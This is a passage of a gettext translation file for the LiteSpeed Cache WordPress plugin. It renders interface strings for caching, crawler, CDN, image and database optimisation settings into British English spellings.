#: tpl/toolbox/heartbeat.tpl.php:57 tpl/toolbox/heartbeat.tpl.php:87
#: tpl/toolbox/heartbeat.tpl.php:117
msgid "WordPress valid interval is %s seconds."
msgstr "WordPress valid interval is %s seconds."

#: tpl/toolbox/heartbeat.tpl.php:56 tpl/toolbox/heartbeat.tpl.php:86
#: tpl/toolbox/heartbeat.tpl.php:116
msgid "Specify the %s heartbeat interval in seconds."
msgstr "Specify the %s heartbeat interval in seconds."

#: tpl/toolbox/heartbeat.tpl.php:43
msgid "Turn ON to control heartbeat on frontend."
msgstr "Turn ON to control heartbeat on front end."

#: tpl/toolbox/heartbeat.tpl.php:26
msgid "Disable WordPress interval heartbeat to reduce server load."
msgstr "Disable WordPress interval heartbeat to reduce server load."

#: tpl/toolbox/heartbeat.tpl.php:19
msgid "Heartbeat Control"
msgstr "Heartbeat Control"

#: tpl/toolbox/report.tpl.php:127
msgid "provide more information here to assist the LiteSpeed team with debugging."
msgstr "provide more information here to assist the LiteSpeed team with debugging."

#: tpl/toolbox/report.tpl.php:126
msgid "Optional"
msgstr "Optional"

#: tpl/toolbox/report.tpl.php:100 tpl/toolbox/report.tpl.php:102
msgid "Generate Link for Current User"
msgstr "Generate Link for Current User"

#: tpl/toolbox/report.tpl.php:96
msgid "Passwordless Link"
msgstr "Passwordless Link"

#: tpl/toolbox/report.tpl.php:75
msgid "System Information"
msgstr "System Information"

#: tpl/toolbox/report.tpl.php:52
msgid "Go to plugins list"
msgstr "Go to plugins list"

#: tpl/toolbox/report.tpl.php:51
msgid "Install DoLogin Security"
msgstr "Install DoLogin Security"

#: tpl/general/settings.tpl.php:102
msgid "Check my public IP from"
msgstr "Check my public IP from"

#: tpl/general/settings.tpl.php:102
msgid "Your server IP"
msgstr "Your server IP"

#: tpl/general/settings.tpl.php:101
msgid "Enter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups."
msgstr "Enter this site's IP address to allow cloud services to directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups."

#: tpl/crawler/settings.tpl.php:31
msgid "This will enable crawler cron."
msgstr "This will enable crawler cron."

#: tpl/crawler/settings.tpl.php:17
msgid "Crawler General Settings"
msgstr "Crawler General Settings"

#: tpl/crawler/blacklist.tpl.php:54
msgid "Remove from Blocklist"
msgstr "Remove from Blocklist"

#: tpl/crawler/blacklist.tpl.php:23
msgid "Empty blocklist"
msgstr "Empty blocklist"

#: tpl/crawler/blacklist.tpl.php:22
msgid "Are you sure to delete all existing blocklist items?"
msgstr "Are you sure to delete all existing blocklist items?"

#: tpl/crawler/blacklist.tpl.php:88 tpl/crawler/map.tpl.php:103
msgid "Blocklisted due to not cacheable"
msgstr "Blocklisted due to not cacheable"

#: tpl/crawler/map.tpl.php:89
msgid "Add to Blocklist"
msgstr "Add to Blocklist"

#: tpl/crawler/blacklist.tpl.php:43 tpl/crawler/map.tpl.php:78
msgid "Operation"
msgstr "Operation"

#: tpl/crawler/map.tpl.php:52
msgid "Sitemap Total"
msgstr "Sitemap Total"

#: tpl/crawler/map.tpl.php:48
msgid "Sitemap List"
msgstr "Sitemap List"

#: tpl/crawler/map.tpl.php:32
msgid "Refresh Crawler Map"
msgstr "Refresh Crawler Map"

#: tpl/crawler/map.tpl.php:29
msgid "Clean Crawler Map"
msgstr "Clean Crawler Map"

#: tpl/crawler/blacklist.tpl.php:28 tpl/crawler/entry.tpl.php:16
msgid "Blocklist"
msgstr "Blocklist"

#: tpl/crawler/entry.tpl.php:15
msgid "Map"
msgstr "Map"

#: tpl/crawler/entry.tpl.php:14
msgid "Summary"
msgstr "Summary"

#: tpl/crawler/map.tpl.php:63 tpl/crawler/map.tpl.php:102
msgid "Cache Miss"
msgstr "Cache Miss"

#: tpl/crawler/map.tpl.php:62 tpl/crawler/map.tpl.php:101
msgid "Cache Hit"
msgstr "Cache Hit"

#: tpl/crawler/summary.tpl.php:244
msgid "Waiting to be Crawled"
msgstr "Waiting to be Crawled"

#: tpl/crawler/blacklist.tpl.php:89 tpl/crawler/map.tpl.php:64
#: tpl/crawler/map.tpl.php:104 tpl/crawler/summary.tpl.php:199
#: tpl/crawler/summary.tpl.php:247
msgid "Blocklisted"
msgstr "Blocklisted"

#: tpl/crawler/summary.tpl.php:194
msgid "Miss"
msgstr "Miss"

#: tpl/crawler/summary.tpl.php:189
msgid "Hit"
msgstr "Hit"

#: tpl/crawler/summary.tpl.php:184
msgid "Waiting"
msgstr "Waiting"

#: tpl/crawler/summary.tpl.php:155
msgid "Running"
msgstr "Running"

#: tpl/crawler/settings.tpl.php:177
msgid "Use %1$s in %2$s to indicate this cookie has not been set."
msgstr "Use %1$s in %2$s to indicate this cookie has not been set."

#: src/admin-display.cls.php:449
msgid "Add new cookie to simulate"
msgstr "Add new cookie to simulate"

#: src/admin-display.cls.php:448
msgid "Remove cookie simulation"
msgstr "Remove cookie simulation"

#. translators: %s: Current mobile agents in htaccess
#: tpl/cache/settings_inc.cache_mobile.tpl.php:51
msgid "Htaccess rule is: %s"
msgstr ".htaccess rule is: %s"

#. translators: %s: LiteSpeed Cache menu label
#: tpl/cache/more_settings_tip.tpl.php:27
msgid "More settings available under %s menu"
msgstr "More settings available under %s menu"

#: tpl/cache/settings_inc.browser.tpl.php:63
msgid "The amount of time, in seconds, that files will be stored in browser cache before expiring."
msgstr "The amount of time, in seconds, that files will be stored in browser cache before expiring."

#: tpl/cache/settings_inc.browser.tpl.php:25
msgid "OpenLiteSpeed users please check this"
msgstr "OpenLiteSpeed users, please check this"

#: tpl/cache/settings_inc.browser.tpl.php:17
msgid "Browser Cache Settings"
msgstr "Browser Cache Settings"

#: tpl/cache/settings-cache.tpl.php:158
msgid "Paths containing these strings will be forced to public cached regardless of no-cacheable settings."
msgstr "Paths containing these strings will be forced to public cached regardless of no-cacheable settings."

#: tpl/cache/settings-cache.tpl.php:49
msgid "With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server."
msgstr "With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server."

#: tpl/cache/settings-esi.tpl.php:110
msgid "An optional second parameter may be used to specify cache control. Use a space to separate"
msgstr "An optional second parameter may be used to specify cache control. Use a space to separate"

#: tpl/cache/settings-esi.tpl.php:108
msgid "The above nonces will be converted to ESI automatically."
msgstr "The above nonces will be converted to ESI automatically."

#: tpl/cache/entry.tpl.php:21 tpl/cache/entry.tpl.php:75
msgid "Browser"
msgstr "Browser"

#: tpl/cache/entry.tpl.php:20 tpl/cache/entry.tpl.php:74
msgid "Object"
msgstr "Object"

#. translators: %1$s: Object cache name, %2$s: Port number
#: tpl/cache/settings_inc.object.tpl.php:128
#: tpl/cache/settings_inc.object.tpl.php:137
msgid "Default port for %1$s is %2$s."
msgstr "Default port for %1$s is %2$s."

#: tpl/cache/settings_inc.object.tpl.php:33
msgid "Object Cache Settings"
msgstr "Object Cache Settings"

#: tpl/cache/settings-ttl.tpl.php:111
msgid "Specify an HTTP status code and the number of seconds to cache that page, separated by a space."
msgstr "Specify an http status code and the number of seconds to cache that page, separated by a space."

#: tpl/cache/settings-ttl.tpl.php:59
msgid "Specify how long, in seconds, the front page is cached."
msgstr "Specify how long, in seconds, the front page is cached."

#: tpl/cache/entry.tpl.php:67 tpl/cache/settings-ttl.tpl.php:15
msgid "TTL"
msgstr "TTL"

#: tpl/cache/settings-purge.tpl.php:86
msgid "If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait."
msgstr "If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait."

#: tpl/page_optm/settings_css.tpl.php:341
msgid "Swap"
msgstr "Swap"

#: tpl/page_optm/settings_css.tpl.php:340
msgid "Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded."
msgstr "Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded."

#: tpl/page_optm/settings_localization.tpl.php:67
msgid "Avatar list in queue waiting for update"
msgstr "Avatar list in queue waiting for update"

#: tpl/page_optm/settings_localization.tpl.php:54
msgid "Refresh Gravatar cache by cron."
msgstr "Refresh Gravatar cache by cron."

#: tpl/page_optm/settings_localization.tpl.php:41
msgid "Accelerates the speed by caching Gravatar (Globally Recognized Avatars)."
msgstr "Accelerates the speed by caching Gravatar (Globally Recognised Avatars)."

#: tpl/page_optm/settings_localization.tpl.php:40
msgid "Store Gravatar locally."
msgstr "Store Gravatar locally."

#: tpl/page_optm/settings_localization.tpl.php:22
msgid "Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup."
msgstr "Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup."

#: tpl/page_optm/settings_media.tpl.php:156
msgid "LQIP requests will not be sent for images where both width and height are smaller than these dimensions."
msgstr "LQIP requests will not be sent for images where both width and height are smaller than these dimensions."

#: tpl/page_optm/settings_media.tpl.php:154
msgid "pixels"
msgstr "pixels"

#: tpl/page_optm/settings_media.tpl.php:138
msgid "Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points."
msgstr "Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points."

#: tpl/page_optm/settings_media.tpl.php:137
msgid "Specify the quality when generating LQIP."
msgstr "Specify the quality when generating LQIP."

#: tpl/page_optm/settings_media.tpl.php:123
msgid "Keep this off to use plain color placeholders."
msgstr "Keep this off to use plain colour placeholders."

#: tpl/page_optm/settings_media.tpl.php:122
msgid "Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading."
msgstr "Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading."

#: tpl/page_optm/settings_media.tpl.php:107
msgid "Specify the responsive placeholder SVG color."
msgstr "Specify the responsive placeholder SVG colour."

#: tpl/page_optm/settings_media.tpl.php:93
msgid "Variables %s will be replaced with the configured background color."
msgstr "Variables %s will be replaced with the configured background colour."

#: tpl/page_optm/settings_media.tpl.php:92
msgid "Variables %s will be replaced with the corresponding image properties."
msgstr "Variables %s will be replaced with the corresponding image properties."

#: tpl/page_optm/settings_media.tpl.php:91
msgid "It will be converted to a base64 SVG placeholder on-the-fly."
msgstr "It will be converted to a base64 SVG placeholder on-the-fly."

#: tpl/page_optm/settings_media.tpl.php:90
msgid "Specify an SVG to be used as a placeholder when generating locally."
msgstr "Specify an SVG to be used as a placeholder when generating locally."

#: tpl/page_optm/settings_media_exc.tpl.php:118
msgid "Prevent any lazy load of listed pages."
msgstr "Prevent any lazy load of listed pages."

#: tpl/page_optm/settings_media_exc.tpl.php:104
msgid "Iframes having these parent class names will not be lazy loaded."
msgstr "Iframes having these parent class names will not be lazy loaded."

#: tpl/page_optm/settings_media_exc.tpl.php:89
msgid "Iframes containing these class names will not be lazy loaded."
msgstr "Iframes containing these class names will not be lazy loaded."

#: tpl/page_optm/settings_media_exc.tpl.php:75
msgid "Images having these parent class names will not be lazy loaded."
msgstr "Images having these parent class names will not be lazy loaded."

#: tpl/page_optm/entry.tpl.php:31
msgid "LiteSpeed Cache Page Optimization"
msgstr "LiteSpeed Cache Page Optimisation"

#: tpl/page_optm/entry.tpl.php:21 tpl/page_optm/settings_media_exc.tpl.php:17
msgid "Media Excludes"
msgstr "Media Excludes"

#: tpl/page_optm/entry.tpl.php:16 tpl/page_optm/settings_css.tpl.php:31
msgid "CSS Settings"
msgstr "CSS Settings"

#: tpl/page_optm/settings_css.tpl.php:341
msgid "%s is recommended."
msgstr "%s is recommended."

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Deferred"
msgstr "Deferred"

#: tpl/page_optm/settings_css.tpl.php:338
msgid "Default"
msgstr "Default"

#: tpl/page_optm/settings_html.tpl.php:61
msgid "This can improve the page loading speed."
msgstr "This can improve the page loading speed."

#: tpl/page_optm/settings_html.tpl.php:60
msgid "Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth."
msgstr "Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth."

#: tpl/banner/new_version_dev.tpl.php:30
msgid "New developer version %s is available now."
msgstr "New developer version %s is available now."

#: tpl/banner/new_version_dev.tpl.php:22
msgid "New Developer Version Available!"
msgstr "New Developer Version Available!"

#: tpl/banner/cloud_news.tpl.php:51 tpl/banner/cloud_promo.tpl.php:73
msgid "Dismiss this notice"
msgstr "Dismiss this notice"

#: tpl/banner/cloud_promo.tpl.php:61
msgid "Tweet this"
msgstr "Tweet this"

#: tpl/banner/cloud_promo.tpl.php:45
msgid "Tweet preview"
msgstr "Tweet preview"

#: tpl/banner/cloud_promo.tpl.php:40
#: tpl/page_optm/settings_tuning_css.tpl.php:69
#: tpl/page_optm/settings_tuning_css.tpl.php:144
msgid "Learn more"
msgstr "Learn more"

#: tpl/banner/cloud_promo.tpl.php:22
msgid "You just unlocked a promotion from QUIC.cloud!"
msgstr "You just unlocked a promotion from QUIC.cloud!"

#: tpl/page_optm/settings_media.tpl.php:274
msgid "The image compression quality setting of WordPress out of 100."
msgstr "The image compression quality setting of WordPress out of 100."

#: tpl/img_optm/entry.tpl.php:17 tpl/img_optm/entry.tpl.php:22
#: tpl/img_optm/network_settings.tpl.php:19 tpl/img_optm/settings.tpl.php:19
msgid "Image Optimization Settings"
msgstr "Image Optimisation Settings"

#: tpl/img_optm/summary.tpl.php:377
msgid "Are you sure to destroy all optimized images?"
msgstr "Are you sure to destroy all optimised images?"

#: tpl/img_optm/summary.tpl.php:360
msgid "Use Optimized Files"
msgstr "Use Optimised Files"

#: tpl/img_optm/summary.tpl.php:359
msgid "Switch back to using optimized images on your site"
msgstr "Switch back to using optimised images on your site"

#: tpl/img_optm/summary.tpl.php:356
msgid "Use Original Files"
msgstr "Use Original Files"

#: tpl/img_optm/summary.tpl.php:355
msgid "Use original images (unoptimized) on your site"
msgstr "Use original images (unoptimised) on your site"

#: tpl/img_optm/summary.tpl.php:350
msgid "You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available."
msgstr "You can quickly switch between using original (unoptimised versions) and optimised image files. It will affect all images on your website, both regular and webp versions if available."

#: tpl/img_optm/summary.tpl.php:347
msgid "Optimization Tools"
msgstr "Optimisation Tools"

#: tpl/img_optm/summary.tpl.php:305
msgid "Rescan New Thumbnails"
msgstr "Rescan New Thumbnails"

#: tpl/img_optm/summary.tpl.php:289
msgid "Congratulations, all gathered!"
msgstr "Congratulations, all gathered!"

#: tpl/img_optm/summary.tpl.php:293
msgid "What is an image group?"
msgstr "What is an image group?"

#: tpl/img_optm/summary.tpl.php:241
msgid "Delete all backups of the original images"
msgstr "Delete all backups of the original images"

#: tpl/img_optm/summary.tpl.php:217
msgid "Calculate Backups Disk Space"
msgstr "Calculate Backups Disk Space"

#: tpl/img_optm/summary.tpl.php:108
msgid "Optimization Status"
msgstr "Optimisation Status"

#: tpl/img_optm/summary.tpl.php:69
msgid "Current limit is"
msgstr "Current limit is"

#: tpl/img_optm/summary.tpl.php:63
msgid "You can request a maximum of %s images at once."
msgstr "You can request a maximum of %s images at once."

#: tpl/img_optm/summary.tpl.php:58
msgid "Optimize images with our QUIC.cloud server"
msgstr "Optimise images with our QUIC.cloud server"

#: tpl/db_optm/settings.tpl.php:46
msgid "Revisions newer than this many days will be kept when cleaning revisions."
msgstr "Revisions newer than this many days will be kept when cleaning revisions."

#: tpl/db_optm/settings.tpl.php:44
msgid "Day(s)"
msgstr "Day(s)"

#: tpl/db_optm/settings.tpl.php:32
msgid "Specify the number of most recent revisions to keep when cleaning revisions."
msgstr "Specify the number of most recent revisions to keep when cleaning revisions."

#: tpl/db_optm/entry.tpl.php:24
msgid "LiteSpeed Cache Database Optimization"
msgstr "LiteSpeed Cache Database Optimisation"

#: tpl/db_optm/entry.tpl.php:17 tpl/db_optm/settings.tpl.php:19
msgid "DB Optimization Settings"
msgstr "DB Optimisation Settings"

#: tpl/db_optm/manage.tpl.php:185
msgid "Option Name"
msgstr "Option Name"

#: tpl/db_optm/manage.tpl.php:171
msgid "Database Summary"
msgstr "Database Summary"

#: tpl/db_optm/manage.tpl.php:149
msgid "We are good. No table uses MyISAM engine."
msgstr "We are good. No table uses MyISAM engine."

#: tpl/db_optm/manage.tpl.php:141
msgid "Convert to InnoDB"
msgstr "Convert to InnoDB"

#: tpl/db_optm/manage.tpl.php:126
msgid "Tool"
msgstr "Tool"

#: tpl/db_optm/manage.tpl.php:125
msgid "Engine"
msgstr "Engine"

#: tpl/db_optm/manage.tpl.php:124
msgid "Table"
msgstr "Table"

#: tpl/db_optm/manage.tpl.php:116
msgid "Database Table Engine Converter"
msgstr "Database Table Engine Converter"

#: tpl/db_optm/manage.tpl.php:66
msgid "Clean revisions older than %1$s day(s), excluding %2$s latest revisions"
msgstr "Clean revisions older than %1$s day(s), excluding %2$s latest revisions"

#: tpl/dash/dashboard.tpl.php:87 tpl/dash/dashboard.tpl.php:806
msgid "Currently active crawler"
msgstr "Currently active crawler"

#: tpl/dash/dashboard.tpl.php:84 tpl/dash/dashboard.tpl.php:803
msgid "Crawler(s)"
msgstr "Crawler(s)"

#: tpl/crawler/map.tpl.php:77 tpl/dash/dashboard.tpl.php:80
#: tpl/dash/dashboard.tpl.php:799
msgid "Crawler Status"
msgstr "Crawler Status"

#: tpl/dash/dashboard.tpl.php:648 tpl/dash/dashboard.tpl.php:692
#: tpl/dash/dashboard.tpl.php:736 tpl/dash/dashboard.tpl.php:780
msgid "Force cron"
msgstr "Force cron"

#: tpl/dash/dashboard.tpl.php:645 tpl/dash/dashboard.tpl.php:689
#: tpl/dash/dashboard.tpl.php:733 tpl/dash/dashboard.tpl.php:777
msgid "Requests in queue"
msgstr "Requests in queue"

#: tpl/dash/dashboard.tpl.php:59 tpl/dash/dashboard.tpl.php:602
msgid "Private Cache"
msgstr "Private Cache"

#: tpl/dash/dashboard.tpl.php:58 tpl/dash/dashboard.tpl.php:601
msgid "Public Cache"
msgstr "Public Cache"

#: tpl/dash/dashboard.tpl.php:53 tpl/dash/dashboard.tpl.php:596
msgid "Cache Status"
msgstr "Cache Status"

#: tpl/dash/dashboard.tpl.php:571
msgid "Last Pull"
msgstr "Last Pull"

#: tpl/dash/dashboard.tpl.php:519 tpl/img_optm/entry.tpl.php:16
msgid "Image Optimization Summary"
msgstr "Image Optimisation Summary"

#: tpl/dash/dashboard.tpl.php:511
msgid "Refresh page score"
msgstr "Refresh page score"

#: tpl/dash/dashboard.tpl.php:382 tpl/img_optm/summary.tpl.php:54
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Are you sure you want to redetect the closest cloud server for this service?"
msgstr "Are you sure you want to redetect the closest cloud server for this service?"

#: tpl/dash/dashboard.tpl.php:446
msgid "Refresh page load time"
msgstr "Refresh page load time"

#: tpl/dash/dashboard.tpl.php:353 tpl/general/online.tpl.php:128
msgid "Go to QUIC.cloud dashboard"
msgstr "Go to QUIC.cloud dashboard"

#: tpl/dash/dashboard.tpl.php:206 tpl/dash/dashboard.tpl.php:711
#: tpl/dash/network_dash.tpl.php:39
msgid "Low Quality Image Placeholder"
msgstr "Low Quality Image Placeholder"

#: tpl/dash/dashboard.tpl.php:182
msgid "Sync data from Cloud"
msgstr "Sync data from Cloud"

#: tpl/dash/dashboard.tpl.php:179
msgid "QUIC.cloud Service Usage Statistics"
msgstr "QUIC.cloud Service Usage Statistics"

#: tpl/dash/dashboard.tpl.php:292 tpl/dash/network_dash.tpl.php:119
msgid "Total images optimized in this month"
msgstr "Total images optimised in this month"

#: tpl/dash/dashboard.tpl.php:291 tpl/dash/network_dash.tpl.php:118
msgid "Total Usage"
msgstr "Total Usage"

#: tpl/dash/dashboard.tpl.php:273 tpl/dash/network_dash.tpl.php:111
msgid "Pay as You Go Usage Statistics"
msgstr "Pay as You Go Usage Statistics"

#: tpl/dash/dashboard.tpl.php:270 tpl/dash/network_dash.tpl.php:108
msgid "PAYG Balance"
msgstr "PAYG Balance"

#: tpl/dash/network_dash.tpl.php:107
msgid "Pay as You Go"
msgstr "Pay as You Go"

#: tpl/dash/dashboard.tpl.php:258 tpl/dash/network_dash.tpl.php:95
msgid "Usage"
msgstr "Usage"

#: tpl/dash/dashboard.tpl.php:258 tpl/dash/network_dash.tpl.php:95
msgid "Fast Queue Usage"
msgstr "Fast Queue Usage"

#: tpl/dash/dashboard.tpl.php:205 tpl/dash/network_dash.tpl.php:38
msgid "CDN Bandwidth"
msgstr "CDN Bandwidth"

#: tpl/dash/entry.tpl.php:29
msgid "LiteSpeed Cache Dashboard"
msgstr "LiteSpeed Cache Dashboard"

#: tpl/dash/entry.tpl.php:21
msgid "Network Dashboard"
msgstr "Network Dashboard"

#: tpl/general/online.tpl.php:51
msgid "No cloud services currently in use"
msgstr "No cloud services currently in use"

#: tpl/general/online.tpl.php:31
msgid "Click to clear all nodes for further redetection."
msgstr "Click to clear all nodes for further redetection."

#: tpl/general/online.tpl.php:30
msgid "Current Cloud Nodes in Service"
msgstr "Current Cloud Nodes in Service"

#: tpl/cdn/qc.tpl.php:126 tpl/cdn/qc.tpl.php:133 tpl/dash/dashboard.tpl.php:359
#: tpl/general/online.tpl.php:153
msgid "Link to QUIC.cloud"
msgstr "Link to QUIC.cloud"

#: tpl/general/entry.tpl.php:17 tpl/general/entry.tpl.php:23
#: tpl/general/network_settings.tpl.php:19 tpl/general/settings.tpl.php:24
msgid "General Settings"
msgstr "General Settings"

#: tpl/cdn/other.tpl.php:136
msgid "Specify which HTML element attributes will be replaced with CDN Mapping."
msgstr "Specify which HTML element attributes will be replaced with CDN Mapping."

#: src/admin-display.cls.php:475
msgid "Add new CDN URL"
msgstr "Add new CDN URL"

#: src/admin-display.cls.php:474
msgid "Remove CDN URL"
msgstr "Remove CDN URL"

#: tpl/cdn/cf.tpl.php:102
msgid "To enable the following functionality, turn ON Cloudflare API in CDN Settings."
msgstr "To enable the following functionality, turn ON Cloudflare API in CDN Settings."

#: tpl/cdn/entry.tpl.php:14
msgid "QUIC.cloud"
msgstr "QUIC.cloud"

#: thirdparty/woocommerce.content.tpl.php:18
msgid "WooCommerce Settings"
msgstr "WooCommerce Settings"

#: src/gui.cls.php:638 src/gui.cls.php:820
#: tpl/page_optm/settings_media.tpl.php:141 tpl/toolbox/purge.tpl.php:100
msgid "LQIP Cache"
msgstr "LQIP Cache"

#: src/admin-settings.cls.php:297 src/admin-settings.cls.php:333
msgid "Options saved."
msgstr "Options saved."

#: src/img-optm.cls.php:1745
msgid "Removed backups successfully."
msgstr "Removed backups successfully."

#: src/img-optm.cls.php:1653
msgid "Calculated backups successfully."
msgstr "Calculated backups successfully."

#: src/img-optm.cls.php:1587
msgid "Rescanned %d images successfully."
msgstr "Rescanned %d images successfully."

#: src/img-optm.cls.php:1523 src/img-optm.cls.php:1587
msgid "Rescanned successfully."
msgstr "Rescanned successfully."

#: src/img-optm.cls.php:1458
msgid "Destroy all optimization data successfully."
msgstr "Destroyed all optimisation data successfully."

#: src/img-optm.cls.php:1357
msgid "Cleaned up unfinished data successfully."
msgstr "Cleaned up unfinished data successfully."

#: src/img-optm.cls.php:976
msgid "Pull Cron is running"
msgstr "Pull Cron is running"

#: src/img-optm.cls.php:700
msgid "No valid image found by Cloud server in the current request."
msgstr "No valid image found by Cloud server in the current request."

#: src/img-optm.cls.php:675
msgid "No valid image found in the current request."
msgstr "No valid image found in the current request."

#: src/img-optm.cls.php:350
msgid "Pushed %1$s to Cloud server, accepted %2$s."
msgstr "Pushed %1$s to Cloud server, accepted %2$s."

#: src/lang.cls.php:267
msgid "Revisions Max Age"
msgstr "Revisions Max Age"

#: src/lang.cls.php:266
msgid "Revisions Max Number"
msgstr "Revisions Max Number"

#: src/lang.cls.php:263
msgid "Debug URI Excludes"
msgstr "Debug URI Excludes"

#: src/lang.cls.php:262
msgid "Debug URI Includes"
msgstr "Debug URI Includes"

#: src/lang.cls.php:242
msgid "HTML Attribute To Replace"
msgstr "HTML Attribute To Replace"

#: src/lang.cls.php:236
msgid "Use CDN Mapping"
msgstr "Use CDN Mapping"

#: src/lang.cls.php:234
msgid "Editor Heartbeat TTL"
msgstr "Editor Heartbeat TTL"

#: src/lang.cls.php:233
msgid "Editor Heartbeat"
msgstr "Editor Heartbeat"

#: src/lang.cls.php:232
msgid "Backend Heartbeat TTL"
msgstr "Back end Heartbeat TTL"

#: src/lang.cls.php:231
msgid "Backend Heartbeat Control"
msgstr "Back end Heartbeat Control"

#: src/lang.cls.php:230
msgid "Frontend Heartbeat TTL"
msgstr "Front end Heartbeat TTL"

#: src/lang.cls.php:229
msgid "Frontend Heartbeat Control"
msgstr "Front end Heartbeat Control"

#: tpl/toolbox/edit_htaccess.tpl.php:71
msgid "Backend .htaccess Path"
msgstr "Back end .htaccess Path"

#: tpl/toolbox/edit_htaccess.tpl.php:53
msgid "Frontend .htaccess Path"
msgstr "Front end .htaccess Path"

#: src/lang.cls.php:219
msgid "ESI Nonces"
msgstr "ESI Nonces"

#: src/lang.cls.php:215
msgid "WordPress Image Quality Control"
msgstr "WordPress Image Quality Control"

#: src/lang.cls.php:206
msgid "Auto Request Cron"
msgstr "Auto Request Cron"

#: src/lang.cls.php:199
msgid "Generate LQIP In Background"
msgstr "Generate LQIP In Background"

#: src/lang.cls.php:197
msgid "LQIP Minimum Dimensions"
msgstr "LQIP Minimum Dimensions"

#: src/lang.cls.php:196
msgid "LQIP Quality"
msgstr "LQIP Quality"

#: src/lang.cls.php:195
msgid "LQIP Cloud Generator"
msgstr "LQIP Cloud Generator"

#: src/lang.cls.php:194
msgid "Responsive Placeholder SVG"
msgstr "Responsive Placeholder SVG"

#: src/lang.cls.php:193
msgid "Responsive Placeholder Color"
msgstr "Responsive Placeholder Colour"

#: src/lang.cls.php:191
msgid "Basic Image Placeholder"
msgstr "Basic Image Placeholder"

#: src/lang.cls.php:189
msgid "Lazy Load URI Excludes"
msgstr "Lazy Load URI Excludes"

#: src/lang.cls.php:188
msgid "Lazy Load Iframe Parent Class Name Excludes"
msgstr "Lazy Load Iframe Parent Class Name Excludes"

#: src/lang.cls.php:187
msgid "Lazy Load Iframe Class Name Excludes"
msgstr "Lazy Load Iframe Class Name Excludes"

#: src/lang.cls.php:186
msgid "Lazy Load Image Parent Class Name Excludes"
msgstr "Lazy Load Image Parent Class Name Excludes"

#: src/lang.cls.php:181
msgid "Gravatar Cache TTL"
msgstr "Gravatar Cache TTL"

#: src/lang.cls.php:180
msgid "Gravatar Cache Cron"
msgstr "Gravatar Cache Cron"

#: src/gui.cls.php:648 src/gui.cls.php:830 src/lang.cls.php:179
#: tpl/presets/standard.tpl.php:49 tpl/toolbox/purge.tpl.php:109
msgid "Gravatar Cache"
msgstr "Gravatar Cache"

#: src/lang.cls.php:159
msgid "DNS Prefetch Control"
msgstr "DNS Prefetch Control"

#: src/lang.cls.php:154 tpl/presets/standard.tpl.php:46
msgid "Font Display Optimization"
msgstr "Font Display Optimisation"

#: src/lang.cls.php:131
msgid "Force Public Cache URIs"
msgstr "Force Public Cache URIs"

#: src/lang.cls.php:102
msgid "Notifications"
msgstr "Notifications"

#: src/lang.cls.php:96
msgid "Default HTTP Status Code Page TTL"
msgstr "Default HTTP Status Code Page TTL"

#: src/lang.cls.php:95
msgid "Default REST TTL"
msgstr "Default REST TTL"

#: src/lang.cls.php:89
msgid "Enable Cache"
msgstr "Enable Cache"

#: src/cloud.cls.php:239 src/cloud.cls.php:291 src/lang.cls.php:85
msgid "Server IP"
msgstr "Server IP"

#: src/lang.cls.php:24
msgid "Images not requested"
msgstr "Images not requested"

#: src/cloud.cls.php:2036
msgid "Sync credit allowance with Cloud Server successfully."
msgstr "Sync credit allowance with Cloud Server successfully."

#: src/cloud.cls.php:1656
msgid "Failed to communicate with QUIC.cloud server"
msgstr "Failed to communicate with QUIC.cloud server"

#: src/cloud.cls.php:1579
msgid "Good news from QUIC.cloud server"
msgstr "Good news from QUIC.cloud server"

#: src/cloud.cls.php:1563 src/cloud.cls.php:1571
msgid "Message from QUIC.cloud server"
msgstr "Message from QUIC.cloud server"

#: src/cloud.cls.php:1239
msgid "Please try after %1$s for service %2$s."
msgstr "Please try after %1$s for service %2$s."

#: src/cloud.cls.php:1095
msgid "No available Cloud Node."
msgstr "No available Cloud Node."

#: src/cloud.cls.php:978 src/cloud.cls.php:991 src/cloud.cls.php:1029
#: src/cloud.cls.php:1095 src/cloud.cls.php:1236
msgid "Cloud Error"
msgstr "Cloud Error"

#: src/data.cls.php:214
msgid "The database has been upgrading in the background since %s. This message will disappear once upgrade is complete."
msgstr "The database has been upgrading in the background since %s. This message will disappear once upgrade is complete."

#: src/media.cls.php:449
msgid "Restore from backup"
msgstr "Restore from backup"

#: src/media.cls.php:434
msgid "No backup of unoptimized WebP file exists."
msgstr "No backup of unoptimised WebP file exists."

#: src/media.cls.php:420
msgid "WebP file reduced by %1$s (%2$s)"
msgstr "WebP file reduced by %1$s (%2$s)"

#: src/media.cls.php:412
msgid "Currently using original (unoptimized) version of WebP file."
msgstr "Currently using original (unoptimised) version of WebP file."

#: src/media.cls.php:405
msgid "Currently using optimized version of WebP file."
msgstr "Currently using optimised version of WebP file."

#: src/media.cls.php:383
msgid "Orig"
msgstr "Orig"

#: src/media.cls.php:381
msgid "(no savings)"
msgstr "(no savings)"

#: src/media.cls.php:381
msgid "Orig %s"
msgstr "Orig %s"

#: src/media.cls.php:380
msgid "Congratulation! Your file was already optimized"
msgstr "Congratulation! Your file was already optimised"

#: src/media.cls.php:375
